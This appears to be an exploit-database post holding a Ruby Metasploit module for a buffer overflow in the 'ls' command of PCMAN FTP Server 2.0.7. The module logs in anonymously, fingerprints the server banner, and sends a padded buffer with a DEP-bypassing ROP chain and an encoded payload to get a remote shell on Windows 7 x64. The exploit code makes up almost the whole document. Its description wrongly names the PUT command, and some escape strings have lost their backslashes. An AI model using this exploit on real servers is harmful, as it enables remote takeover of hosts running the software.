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PCMAN FTP Server 2.0.7 ls Buffer Overflow

Posted on 23 June 2016

=begin
# Exploit Title: PCMAN FTP erver 2.0.7 Buffer Overflow
# Date: 22-06-2016
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Exploit Author: quanyechavshuo
# Contact: quanyechavshuo@gmail.com
# Website: http://xinghuacai.github.io
# Category: ftp remote exploit

1. Description
this is another bug of pcmanftp which can be used to get a remote shell,and fits well with win7x64 with dep open,refer from
https://www.exploit-db.com/exploits/39662/

use anonymous and any password to login the ftp remotely,then send a command "ls AAA...A"(9000),the pcmanftp will crashed,later,find the 2009-2012th "A" will replace the pcmanftp's retn address

=end

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Buffer Overflow - ls Command',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
},
'Author' =>
[
'quanyechavshuo'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '39662'],
[ 'OSVDB', 'N/A']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "x00x0Ax0D",
},
'Platform' => 'win',
'Targets' =>
[
[ 'windows 7 x64 chinese',
{
#'Ret' => 0x77636aeb, #dont need ret here in win7
'Offset' => 2008
}
],
],
'DisclosureDate' => 'Aug 07 2015',
'DefaultTarget' => 0))
end

def check
connect_login
disconnect

if /220 PCMan's FTP Server 2.0/ === banner
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77032c3b, # POP EAX # RETN [kernel32.dll]
0x41414141, # add a 4 bytes data to fit retn 0x4 from the last function's retn before eip=rop_gadgets
0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll]
0x76bb4412, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll]
0x76408d2a, # XCHG EAX,ESI # RETN [SHLWAPI.dll]
0x76b607f0, # POP EBP # RETN [msvcrt.dll]
0x74916f14, # & push esp # ret [RICHED20.dll]
0x7368b031, # POP EAX # RETN [COMCTL32.dll]
0xfffffaff, # Value to negate, will become 0x00000201
0x756c9a5c, # NEG EAX # RETN [SHELL32.dll]
0x767088bd, # XCHG EAX,EBX # RETN [RPCRT4.dll]
0x77031d7b, # POP EAX # RETN [kernel32.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x76cc4402, # NEG EAX # RETN [SHELL32.dll]
0x76b4ad98, # XCHG EAX,EDX # RETN [SHELL32.dll]
0x756b1cc1, # POP ECX # RETN [SHELL32.dll]
0x7647c663, # &Writable location [USP10.dll]
0x73756cf3, # POP EDI # RETN [COMCTL32.dll]
0x76cc4404, # RETN (ROP NOP) [USER32.dll]
0x76b3f5d4, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x7366e16f, # PUSHAD # RETN [COMCTL32.dll]

].flatten.pack("V*")

return rop_gadgets

end

def exploit
connect_login

print_status('Generating payload...')
sploit = rand_text_alpha(target['Offset'])

#tmp = sploit
#print_status(tmp)
sploit << create_rop_chain()
#sploit << make_nops(9) 这句产生的nop并非90
sploit << "x90"*30
#sploit << "x41"*30
#sploit << "xcc"
sploit << payload.encoded

#tmp=sploit
tmp=make_nops(9)
print_status(tmp)

send_cmd( ["ls", sploit], false )
disconnect
end

end

 

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